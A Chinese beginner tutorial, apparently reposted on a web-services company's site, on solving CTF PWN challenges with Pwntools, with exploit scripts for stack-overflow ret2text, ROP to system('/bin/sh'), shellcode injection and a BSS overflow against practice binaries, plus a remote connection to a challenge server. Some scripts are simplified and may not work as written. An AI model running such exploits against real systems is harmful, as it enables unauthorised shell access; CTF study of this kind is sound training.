新手别怕!从零开始用Pwntools搞定CTF PWN题(附攻防世界XCTF实战脚本)
2026/6/7 3:42:22 网站建设 项目流程

从零玩转Pwntools:CTF PWN入门实战指南

第一次接触CTF PWN题目时,面对那些神秘的二进制文件和复杂的漏洞利用脚本,你是否感到无从下手?作为安全竞赛中最具挑战性的方向之一,PWN确实有着不低的入门门槛。但别担心,今天我们将通过Pwntools这个强大工具,带你一步步完成从环境搭建到成功攻击的全过程。本文专为零基础学习者设计,即使你之前从未接触过二进制安全,也能跟着教程写出自己的第一个EXP脚本,亲身体验攻破系统的快感。

1. 环境准备与Pwntools安装

在开始实战之前,我们需要搭建一个适合PWN练习的环境。推荐使用Ubuntu 20.04 LTSKali Linux作为基础系统,这些发行版已经预装了大部分必要的工具。

1.1 基础工具安装

首先安装一些基础工具包:

sudo apt update sudo apt install -y python3 python3-pip git gdb

接下来安装Pwntools,这是我们的核心工具:

pip install --upgrade pip pip install pwntools

安装完成后,可以通过以下命令验证是否安装成功:

python3 -c "import pwn; print(pwn.__version__)"

提示:如果遇到权限问题,可以尝试在pip命令后添加--user参数,或者使用虚拟环境。

1.2 辅助工具配置

除了Pwntools,我们还需要一些辅助工具:

  • checksec:用于检查二进制文件的安全机制
  • ROPgadget:用于查找ROP链的工具
  • one_gadget:用于查找可直接执行execve('/bin/sh')的gadget

安装这些工具:

sudo apt install -y checksec pip install ROPgadget one_gadget

1.3 测试环境验证

让我们创建一个简单的测试程序来验证环境:

// test.c #include <stdio.h> int main() { char buf[10]; gets(buf); return 0; }

编译并运行:

gcc -m32 -fno-stack-protector -z execstack -o test test.c

使用checksec检查编译后的程序:

checksec --file=test

你应该能看到类似下面的输出,表明我们成功关闭了栈保护:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments

2. Pwntools基础使用

现在我们已经准备好了环境,是时候深入了解Pwntools这个强大的工具了。Pwntools是一个专门为CTF设计的Python库,它封装了许多二进制漏洞利用的常用操作,让我们能够更高效地编写EXP脚本。

2.1 基本组件介绍

Pwntools主要由以下几个核心组件构成:

  1. 进程交互:本地/远程进程的启动和控制
  2. 数据打包:处理不同字节序的数据转换
  3. ELF解析:分析二进制文件结构
  4. ROP构建:辅助构建ROP链
  5. Shellcode生成:生成各种架构的shellcode

2.2 进程交互基础

Pwntools提供了三种主要的进程交互方式:

  • 本地进程process('./binary')
  • 远程连接remote('host', port)
  • 调试模式gdb.debug('./binary')

让我们看一个简单的例子:

from pwn import * # 启动本地进程 p = process('./test') # 发送数据 p.sendline(b'A'*20) # 进入交互模式 p.interactive()

2.3 数据打包函数

在处理二进制漏洞时,经常需要在不同字节序之间转换数据。Pwntools提供了方便的打包函数:

函数名描述示例
p8/p16/p32/p64打包为指定长度的整数p32(0xdeadbeef)
u8/u16/u32/u64从字节串解包为整数u32(b'\xef\xbe\xad\xde')
flat将多个数据打包为一个字符串flat([p32(0xdeadbeef), b'A'*10])

这些函数会自动处理大小端问题,非常方便。

3. 实战:攻防世界XCTF新手题

现在我们已经掌握了Pwntools的基础知识,让我们通过一个实际的CTF题目来巩固所学。我们将选择攻防世界XCTF平台的一个新手PWN题目作为示例。

3.1 题目分析

假设我们面对的是一个名为level1的题目,首先下载题目提供的二进制文件:

wget http://example.com/level1 -O level1 chmod +x level1

使用checksec检查文件的安全机制:

checksec --file=level1

输出可能类似于:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments

这表明这是一个32位程序,没有开启栈保护(No canary)、NX禁用(栈可执行)、没有地址随机化(No PIE),非常适合新手练习。

3.2 静态分析

使用IDA Pro或Ghidra进行静态分析。我们发现main函数调用了vulnerable_function:

void vulnerable_function() { char buf[80]; read(0, buf, 200); }

明显的栈溢出漏洞:buf只有80字节,但read可以读取200字节。

3.3 寻找利用点

检查程序中的字符串:

rabin2 -z level1

发现存在/bin/sh字符串。进一步分析发现程序中有system函数的调用:

void callsystem() { system("/bin/sh"); }

3.4 构建EXP脚本

现在我们可以开始编写利用脚本了:

from pwn import * context(arch='i386', os='linux') # 启动进程 p = process('./level1') # 获取callsystem函数地址 elf = ELF('./level1') callsystem_addr = elf.symbols['callsystem'] # 构造payload payload = b'A' * 88 # 填充buf和ebp payload += p32(callsystem_addr) # 覆盖返回地址 # 发送payload p.sendline(payload) # 进入交互模式 p.interactive()

3.5 远程攻击

如果题目需要连接远程服务器,只需修改启动方式:

p = remote('111.200.241.244', 51837)

其余部分保持不变。

4. 进阶技巧与调试方法

掌握了基础知识后,让我们来看一些进阶技巧,帮助你更高效地解决PWN题目。

4.1 GDB调试技巧

Pwntools与GDB的集成非常方便:

p = gdb.debug('./level1', ''' break *vulnerable_function+20 continue ''')

这样可以在特定位置设置断点,方便调试。

4.2 ROP链构建

当程序没有直接提供system("/bin/sh")这样的后门时,我们需要构建ROP链:

from pwn import * context(arch='i386', os='linux') elf = ELF('./level2') rop = ROP(elf) # 查找gadget rop.raw('A' * 88) # padding rop.call('system', [next(elf.search(b'/bin/sh'))]) p = process('./level2') p.sendline(rop.chain()) p.interactive()

4.3 Shellcode编写与使用

当栈可执行时,我们可以直接注入shellcode:

from pwn import * context(arch='i386', os='linux') shellcode = asm(shellcraft.sh()) p = process('./level3') p.sendline(b'A'*80 + p32(0xffffd100) + shellcode) p.interactive()

4.4 常见问题解决

在实践过程中,你可能会遇到以下问题:

  1. 地址随机化(ASLR):通过信息泄露获取地址
  2. 栈保护(Canary):泄露或爆破canary值
  3. NX保护:使用ROP技术绕过
  4. 格式化字符串漏洞:用于信息泄露或任意写

5. 实战案例:BSS段溢出

让我们再看一个稍微复杂一点的例子:BSS段溢出。这类题目通常涉及修改全局变量来控制程序流。

5.1 题目分析

假设我们有一个名为bss_overflow的题目,checksec显示:

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

注意到栈保护开启,但PIE关闭,这意味着我们可以利用BSS段的全局变量。

5.2 漏洞定位

通过IDA分析,发现程序将用户输入存储到BSS段的全局变量中:

char global_buf[64]; ... read(0, global_buf, 128);

附近还有一个关键变量:

int is_admin = 0;

我们的目标是通过溢出global_buf来修改is_admin的值。

5.3 EXP脚本编写

from pwn import * p = process('./bss_overflow') # 计算偏移 offset = 64 # global_buf大小 offset += 8 # 可能的对齐填充 # 构造payload payload = b'A'*offset payload += p64(1) # 将is_admin设为1 p.sendline(payload) p.interactive()

5.4 结果验证

如果程序逻辑正确,修改is_admin后应该会获得shell或直接输出flag。

6. 64位与32位差异

在PWN题目中,64位和32位架构有一些重要区别需要注意:

6.1 调用约定对比

特性32位64位
参数传递寄存器(RDI, RSI, RDX等)
返回地址覆盖直接覆盖EIP覆盖RIP
栈对齐4字节对齐16字节对齐
寄存器大小4字节8字节

6.2 64位ROP示例

64位下构建ROP链需要注意参数传递:

from pwn import * context(arch='amd64', os='linux') elf = ELF('./level4') rop = ROP(elf) # 设置参数并调用system rop.call('system', [next(elf.search(b'/bin/sh'))]) p = process('./level4') p.sendline(b'A'*72 + rop.chain()) p.interactive()

7. 资源与进一步学习

掌握了基础之后,你可以通过以下资源进一步提升PWN技能:

7.1 推荐学习平台

  • 攻防世界(XCTF):适合新手的练习平台
  • Pwnable.kr:从易到难的PWN挑战
  • Pwnable.tw:较难的实战题目
  • Hack The Box:综合渗透测试平台

7.2 学习资料

  • 《漏洞利用开发实战》
  • 《二进制漏洞利用入门》
  • 《CTF竞赛权威指南(PWN篇)》
  • LiveOverflow的YouTube频道

7.3 实用工具

  • pwndbg:增强版GDB插件
  • gef:另一款强大的GDB插件
  • ropper:ROP gadget查找工具
  • LibcSearcher:libc数据库查询工具

记住,PWN技能的提高离不开持续的练习和实战。从简单的栈溢出开始,逐步挑战更复杂的题目,你会在解决每一个问题的过程中不断成长。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询